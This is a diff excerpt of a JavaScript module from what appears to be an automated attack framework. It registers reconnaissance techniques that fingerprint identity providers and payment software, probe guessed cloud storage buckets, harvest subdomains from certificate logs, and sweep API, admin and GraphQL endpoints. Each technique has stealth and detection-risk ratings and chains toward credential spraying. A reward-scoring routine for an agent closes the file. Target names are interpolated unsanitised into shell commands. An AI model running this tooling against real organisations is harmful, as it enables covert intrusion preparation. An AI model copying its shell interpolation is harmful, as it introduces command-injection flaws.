+ const { stdout } = await execAsync(`curl -sL https://${target}/login --connect-timeout 5 | grep -oiE '(okta|auth0|onelogin|ping|azure|google|facebook|github|linkedin|saml|oauth)' | sort -u`, { timeout: 15000 });
2598
+ if (stdout.trim()) {
2599
+ const idps = [...new Set(stdout.trim().split('\n'))];
2600
+ artifacts.push({ type: 'identity_providers', data: idps.join(', ') });
2601
+ }
2602
+ }
2603
+ catch { /* ignore */ }
2604
+ // Check for common tracking/analytics
2605
+ try {
2606
+ const { stdout } = await execAsync(`curl -sL https://${target} --connect-timeout 5 | grep -oiE '(google-analytics|gtag|gtm|segment|mixpanel|amplitude|heap|hotjar|fullstory|intercom|drift|zendesk|freshchat)' | sort -u`, { timeout: 15000 });
2607
+ if (stdout.trim()) {
2608
+ const analytics = [...new Set(stdout.trim().split('\n'))];
2609
+ artifacts.push({ type: 'analytics_tracking', data: analytics.join(', ') });
2610
+ }
2611
+ }
2612
+ catch { /* ignore */ }
2613
+ // Payment/commerce detection
2614
+ try {
2615
+ const { stdout } = await execAsync(`curl -sL https://${target} --connect-timeout 5 | grep -oiE '(stripe|braintree|paypal|square|adyen|shopify|bigcommerce|woocommerce|magento)' | sort -u`, { timeout: 15000 });
2616
+ if (stdout.trim()) {
2617
+ const payments = [...new Set(stdout.trim().split('\n'))];
2618
+ artifacts.push({ type: 'payment_commerce', data: payments.join(', ') });
2619
+ }
2620
+ }
2621
+ catch { /* ignore */ }
2622
+ return { success: artifacts.length > 0, output: { business_sw: artifacts.length }, artifacts, nextTechniques: ['saas_enum', 'api_discovery'], detectionRisk: 0.2, duration: Date.now() - start };
2623
+ },
2624
+ });
2625
+ // SaaS & Cloud Service Deep Enumeration
2626
+ techniqueRegistry.register({
2627
+ id: 'saas_enum',
2628
+ name: 'SaaS & Cloud Service Enumeration',
2629
+ category: 'recon',
2630
+ phase: 'reconnaissance',
2631
+ prerequisites: [],
2632
+ conflictsWith: [],
2633
+ stealthRating: 0.75,
2634
+ successBaseline: 0.85,
2635
+ timeEstimate: 120000,
2636
+ execute: async (params) => {
2637
+ const start = Date.now();
2638
+ const target = params.target;
2639
+ const baseDomain = target.replace(/^www\./, '');
2640
+ const orgName = baseDomain.split('.')[0];
2641
+ const artifacts = [];
2642
+ // Google Workspace detection
2643
+ try {
2644
+ const mx = await dns.resolveMx(baseDomain);
2645
+ if (mx.some(r => r.exchange.includes('google'))) {
2646
+ artifacts.push({ type: 'google_workspace', data: 'Google Workspace (Gmail)' });
2647
+ // Check for additional Google services
2648
+ const googleServices = [
2649
+ { name: 'Drive', host: `drive.google.com` },
2650
+ { name: 'Calendar', host: `calendar.google.com` },
2651
+ { name: 'Meet', host: `meet.google.com` },
2652
+ { name: 'Chat', host: `chat.google.com` },
2653
+ ];
2654
+ for (const svc of googleServices) {
2655
+ artifacts.push({ type: 'google_service', data: svc.name });
2656
+ }
2657
+ }
2658
+ }
2659
+ catch { /* ignore */ }
2660
+ // Microsoft 365 detection
2661
+ try {
2662
+ const mx = await dns.resolveMx(baseDomain);
2663
+ if (mx.some(r => r.exchange.includes('outlook') || r.exchange.includes('microsoft'))) {
2664
+ artifacts.push({ type: 'microsoft_365', data: 'Microsoft 365' });
2665
+ // Check autodiscover
2666
+ try {
2667
+ await dns.resolve4(`autodiscover.${baseDomain}`);
2668
+ artifacts.push({ type: 'ms_autodiscover', data: 'Exchange Autodiscover enabled' });
2669
+ }
2670
+ catch { /* ignore */ }
2671
+ }
2672
+ }
2673
+ catch { /* ignore */ }
2674
+ // AWS service detection
2675
+ try {
2676
+ const { stdout } = await execAsync(`dig +short ${target} 2>/dev/null`, { timeout: 5000 });
2677
+ if (stdout.includes('amazonaws.com') || stdout.includes('aws')) {
2678
+ artifacts.push({ type: 'aws_hosted', data: 'AWS Infrastructure' });
2679
+ }
2680
+ // Check for S3 buckets
2681
+ const s3Patterns = [`${orgName}`, `${orgName}-prod`, `${orgName}-dev`, `${orgName}-staging`, `${orgName}-backup`, `${orgName}-assets`, `${orgName}-static`];
2682
+ for (const bucket of s3Patterns) {
2683
+ try {
2684
+ const probe = await httpProbe(`https://${bucket}.s3.amazonaws.com`, 3000);
2685
+ if (probe.status !== 404)
2686
+ artifacts.push({ type: 's3_bucket', data: `${bucket} (${probe.status})` });
2687
+ }
2688
+ catch { /* ignore */ }
2689
+ }
2690
+ }
2691
+ catch { /* ignore */ }
2692
+ // GCP service detection
2693
+ try {
2694
+ const { stdout } = await execAsync(`dig +short ${target} 2>/dev/null`, { timeout: 5000 });
2695
+ if (stdout.includes('google') || stdout.includes('gcp')) {
2696
+ artifacts.push({ type: 'gcp_hosted', data: 'Google Cloud Infrastructure' });
2697
+ }
2698
+ // Check for GCS buckets
2699
+ const gcsPatterns = [`${orgName}`, `${orgName}-prod`, `${orgName}-public`];
2700
+ for (const bucket of gcsPatterns) {
2701
+ try {
2702
+ const probe = await httpProbe(`https://storage.googleapis.com/${bucket}`, 3000);
2703
+ if (probe.status !== 404)
2704
+ artifacts.push({ type: 'gcs_bucket', data: `${bucket} (${probe.status})` });
2705
+ }
2706
+ catch { /* ignore */ }
2707
+ }
2708
+ }
2709
+ catch { /* ignore */ }
2710
+ // Azure service detection
2711
+ try {
2712
+ const azurePatterns = [
2713
+ `${orgName}.blob.core.windows.net`,
2714
+ `${orgName}.azurewebsites.net`,
2715
+ `${orgName}.azure-api.net`,
2716
+ ];
2717
+ for (const pattern of azurePatterns) {
2718
+ try {
2719
+ await dns.resolve4(pattern);
2720
+ artifacts.push({ type: 'azure_service', data: pattern });
2721
+ }
2722
+ catch { /* ignore */ }
2723
+ }
2724
+ }
2725
+ catch { /* ignore */ }
2726
+ // GitHub/GitLab detection
2727
+ try {
2728
+ const probe = await httpProbe(`https://github.com/${orgName}`, 3000);
2729
+ if (probe.status === 200)
2730
+ artifacts.push({ type: 'github_org', data: `github.com/${orgName}` });
2731
+ }
2732
+ catch { /* ignore */ }
2733
+ try {
2734
+ const probe = await httpProbe(`https://gitlab.com/${orgName}`, 3000);
2735
+ if (probe.status === 200)
2736
+ artifacts.push({ type: 'gitlab_org', data: `gitlab.com/${orgName}` });
2737
+ }
2738
+ catch { /* ignore */ }
2739
+ return { success: artifacts.length > 0, output: { saas_services: artifacts.length }, artifacts, nextTechniques: ['api_discovery', 'cloud_enum'], detectionRisk: 0.2, duration: Date.now() - start };
2740
+ },
2741
+ });
2742
+ // Full Domain Intelligence
2743
+ techniqueRegistry.register({
2744
+ id: 'domain_intel',
2745
+ name: 'Full Domain Intelligence',
2746
+ category: 'recon',
2747
+ phase: 'reconnaissance',
2748
+ prerequisites: [],
2749
+ conflictsWith: [],
2750
+ stealthRating: 0.9,
2751
+ successBaseline: 0.95,
2752
+ timeEstimate: 180000,
2753
+ execute: async (params) => {
2754
+ const start = Date.now();
2755
+ const target = params.target;
2756
+ const baseDomain = target.replace(/^www\./, '');
2757
+ const artifacts = [];
2758
+ // All DNS record types
2759
+ const recordTypes = ['A', 'AAAA', 'MX', 'NS', 'TXT', 'SOA', 'CNAME'];
2760
+ for (const type of recordTypes) {
2761
+ try {
2762
+ let records;
2763
+ switch (type) {
2764
+ case 'A':
2765
+ records = await dns.resolve4(baseDomain);
2766
+ break;
2767
+ case 'AAAA':
2768
+ records = await dns.resolve6(baseDomain);
2769
+ break;
2770
+ case 'MX':
2771
+ records = (await dns.resolveMx(baseDomain)).map(r => `${r.exchange} (${r.priority})`);
2772
+ break;
2773
+ case 'NS':
2774
+ records = await dns.resolveNs(baseDomain);
2775
+ break;
2776
+ case 'TXT':
2777
+ records = (await dns.resolveTxt(baseDomain)).map(r => r.join(''));
2778
+ break;
2779
+ case 'SOA':
2780
+ const soa = await dns.resolveSoa(baseDomain);
2781
+ records = [`${soa.nsname} ${soa.hostmaster}`];
2782
+ break;
2783
+ case 'CNAME':
2784
+ records = await dns.resolveCname(baseDomain);
2785
+ break;
2786
+ default: records = [];
2787
+ }
2788
+ for (const record of records.slice(0, 5)) {
2789
+ artifacts.push({ type: `dns_${type.toLowerCase()}`, data: record.slice(0, 200) });
2790
+ }
2791
+ }
2792
+ catch { /* record type not found */ }
2793
+ }
2794
+ // WHOIS data
2795
+ try {
2796
+ const { stdout } = await execAsync(`whois ${baseDomain} 2>/dev/null | grep -iE "registrar|creation|expir|name server|registrant|admin|tech" | head -20`, { timeout: 15000 });
2797
+ if (stdout.trim()) {
2798
+ const lines = stdout.split('\n').filter(l => l.trim());
2799
+ for (const line of lines.slice(0, 10)) {
2800
+ artifacts.push({ type: 'whois', data: line.trim() });
2801
+ }
2802
+ }
2803
+ }
2804
+ catch { /* ignore */ }
2805
+ // ASN information
2806
+ try {
2807
+ const ips = await dns.resolve4(baseDomain);
2808
+ if (ips[0]) {
2809
+ const reversed = ips[0].split('.').reverse().join('.');
2810
+ const txt = await dns.resolveTxt(`${reversed}.origin.asn.cymru.com`);
2811
+ if (txt[0])
2812
+ artifacts.push({ type: 'asn_info', data: txt[0].join(' ') });
2813
+ }
2814
+ }
2815
+ catch { /* ignore */ }
2816
+ // Historical DNS (passive DNS simulation via CT logs)
2817
+ try {
2818
+ const { stdout } = await execAsync(`curl -s "https://crt.sh/?q=%.${baseDomain}&output=json" --connect-timeout 10 | grep -oE '"name_value":"[^"]+' | cut -d'"' -f4 | sort -u | head -30`, { timeout: 20000 });
2819
+ if (stdout.trim()) {
2820
+ const subdomains = stdout.split('\n').filter(s => s.trim());
2821
+ artifacts.push({ type: 'ct_subdomains', data: `${subdomains.length} subdomains from CT logs` });
2822
+ for (const sub of subdomains.slice(0, 15)) {
2823
+ artifacts.push({ type: 'historical_subdomain', data: sub });
2824
+ }
2825
+ }
2826
+ }
2827
+ catch { /* ignore */ }
2828
+ return { success: artifacts.length > 0, output: { domain_intel: artifacts.length }, artifacts, nextTechniques: ['corp_enum', 'stack_fingerprint'], detectionRisk: 0.1, duration: Date.now() - start };
2829
+ },
2830
+ });
2831
+ // API Surface Mapping
2832
+ techniqueRegistry.register({
2833
+ id: 'api_surface_map',
2834
+ name: 'API Surface Mapping',
2835
+ category: 'enumeration',
2836
+ phase: 'weaponization',
2837
+ prerequisites: [],
2838
+ conflictsWith: [],
2839
+ stealthRating: 0.6,
2840
+ successBaseline: 0.8,
2841
+ timeEstimate: 120000,
2842
+ execute: async (params) => {
2843
+ const start = Date.now();
2844
+ const target = params.target;
2845
+ const artifacts = [];
2846
+ const url = `https://${target}`;
2847
+ // OpenAPI/Swagger discovery
2848
+ const apiDocPaths = [
2849
+ '/swagger.json', '/swagger.yaml', '/swagger/v1/swagger.json',
2850
+ '/openapi.json', '/openapi.yaml', '/openapi/v1.json',
2851
+ '/api-docs', '/api-docs.json', '/v1/api-docs', '/v2/api-docs', '/v3/api-docs',
2852
+ '/docs', '/redoc', '/api/docs', '/api/swagger',
2853
+ '/.well-known/openapi.json',
2854
+ ];
2855
+ for (const path of apiDocPaths) {
2856
+ try {
2857
+ const probe = await httpProbe(`${url}${path}`, 5000);
2858
+ if (probe.status === 200) {
2859
+ artifacts.push({ type: 'api_docs', data: path });
2860
+ // Try to fetch and parse
2861
+ try {
2862
+ const { stdout } = await execAsync(`curl -sL "${url}${path}" --connect-timeout 5 | head -c 1000`, { timeout: 10000 });
2863
+ if (stdout.includes('"paths"') || stdout.includes('swagger') || stdout.includes('openapi')) {
2864
+ const paths = stdout.match(/"\/[^"]+"/g) || [];
2865
+ artifacts.push({ type: 'api_endpoints_found', data: `${paths.length} endpoints in spec` });
2866
+ }
2867
+ }
2868
+ catch { /* ignore */ }
2869
+ }
2870
+ }
2871
+ catch { /* ignore */ }
2872
+ }
2873
+ // GraphQL introspection
2874
+ try {
2875
+ const { stdout } = await execAsync(`curl -sL "${url}/graphql" -H "Content-Type: application/json" -d '{"query":"{ __schema { types { name } } }"}' --connect-timeout 5 | head -c 500`, { timeout: 10000 });
2876
+ if (stdout.includes('__schema') || stdout.includes('types')) {
2877
+ artifacts.push({ type: 'graphql', data: 'GraphQL introspection enabled' });
2878
+ }
2879
+ }
2880
+ catch { /* ignore */ }
2881
+ // REST API version enumeration
2882
+ const apiVersions = ['/api', '/api/v1', '/api/v2', '/api/v3', '/v1', '/v2', '/v3', '/rest', '/rest/v1'];
2883
+ for (const ver of apiVersions) {
2884
+ try {
2885
+ const probe = await httpProbe(`${url}${ver}`, 3000);
2886
+ if (probe.status < 400 || probe.status === 401 || probe.status === 403) {
2887
+ artifacts.push({ type: 'api_version', data: `${ver} (${probe.status})` });
2888
+ }
2889
+ }
2890
+ catch { /* ignore */ }
2891
+ }
2892
+ // Common API endpoints
2893
+ const commonEndpoints = [
2894
+ '/api/users', '/api/user', '/api/me', '/api/profile',
2895
+ '/api/auth', '/api/login', '/api/token', '/api/oauth',
2896
+ '/api/health', '/api/status', '/api/info', '/api/version',
2897
+ '/api/config', '/api/settings', '/api/admin',
2898
+ '/api/data', '/api/export', '/api/import',
2899
+ '/api/search', '/api/query', '/api/filter',
2900
+ '/api/upload', '/api/download', '/api/files',
2901
+ '/api/webhooks', '/api/callbacks', '/api/events',
2902
+ ];
2903
+ for (const endpoint of commonEndpoints) {
2904
+ try {
2905
+ const probe = await httpProbe(`${url}${endpoint}`, 3000);
2906
+ if (probe.status < 500 && probe.status !== 404) {
2907
+ artifacts.push({ type: 'api_endpoint', data: `${endpoint} (${probe.status})` });
2908
+ }
2909
+ }
2910
+ catch { /* ignore */ }
2911
+ }
2912
+ return { success: artifacts.length > 0, output: { api_surface: artifacts.length }, artifacts, nextTechniques: ['credential_spray', 'vuln_scan'], detectionRisk: 0.35, duration: Date.now() - start };
2913
+ },
2914
+ });
2915
+ }
2916
+ // Initialize on module load
2917
+ registerCoreTechniques();
2918
+ registerExtendedTechniques();
2919
+ registerCloudTechniques();
2920
+ registerEnterpriseReconTechniques();
2921
+ const dualBanditState = {
2922
+ rewards: [],
2923
+ actionCounts: new Map([
2924
+ ['primary', 0],
2925
+ ['refine', 0],
2926
+ ]),
2927
+ qValues: new Map([
2928
+ ['primary', 0],
2929
+ ['refine', 0],
2930
+ ]),
2931
+ };
2932
+ export function scoreOutcome(result) {
2933
+ let reward = 0;
2934
+ if (result.exitReason === 'complete') {
2935
+ reward += 0.6;
2936
+ }
2937
+ else if (result.exitReason === 'verification-needed') {
2938
+ reward += 0.3;
2939
+ }
2940
+ else if (result.exitReason === 'incomplete') {
2941
+ reward -= 0.1;
2942
+ }
2943
+ else if (result.exitReason === 'empty-response' || result.exitReason === 'blocked') {
2944
+ reward -= 0.4;
2945
+ }
2946
+ else if (result.exitReason === 'no-action') {
2947
+ reward -= 0.3;
2948
+ }
2949
+ if (result.tookAction) {
2950
+ reward += 0.2;
2951
+ }
2952
+ if (result.planOnly) {
2953
+ reward -= 0.1;
2954
+ }
2955
+ if (result.toolsUsed.length === 0) {
2956
+ reward -= 0.05;
2957
+ }
2958
+ return Math.max(-1, Math.min(1, reward));
2959
+ }
2960
+ function updateQValue(action, reward) {
2961
+ const count = (dualBanditState.actionCounts.get(action) ?? 0) + 1;
2962
+ const previous = dualBanditState.qValues.get(action) ?? 0;
2963
+ const updated = previous + (reward - previous) / count;
2964
+ dualBanditState.actionCounts.set(action, count);
2965
+ dualBanditState.qValues.set(action, updated);
2966
+ }
2967
+ export function recordDualOutcome(primaryReward, refineReward, chosen) {
2968
+ const chosenReward = chosen === 'refine' ? refineReward : primaryReward;
2969
+ updateQValue('primary', primaryReward);
2970
+ updateQValue('refine', refineReward);
2971
+ dualBanditState.rewards.push(chosenReward);
2972
+ if (dualBanditState.rewards.length > 500) {
2973
+ dualBanditState.rewards.shift();
2974
+ }
2975
+ const avgReward = dualBanditState.rewards.length === 0
2976
+ ? 0
2977
+ : dualBanditState.rewards.reduce((a, b) => a + b, 0) / dualBanditState.rewards.length;
2978
+ return {
2979
+ avgReward,
2980
+ primaryReward,
2981
+ refineReward,
2982
+ chosen,
2983
+ historySize: dualBanditState.rewards.length,
2984
+ };
2985
+ }
2986
+ export function getDualPolicySnapshot() {
2987
+ return {
2988
+ actionAverages: {
2989
+ primary: dualBanditState.qValues.get('primary') ?? 0,
2990
+ refine: dualBanditState.qValues.get('refine') ?? 0,
2991
+ },
2992
+ counts: {
2993
+ primary: dualBanditState.actionCounts.get('primary') ?? 0,
2994
+ refine: dualBanditState.actionCounts.get('refine') ?? 0,
2995
+ },
2996
+ };
2997
+ }
2998
+ //# sourceMappingURL=rl.js.map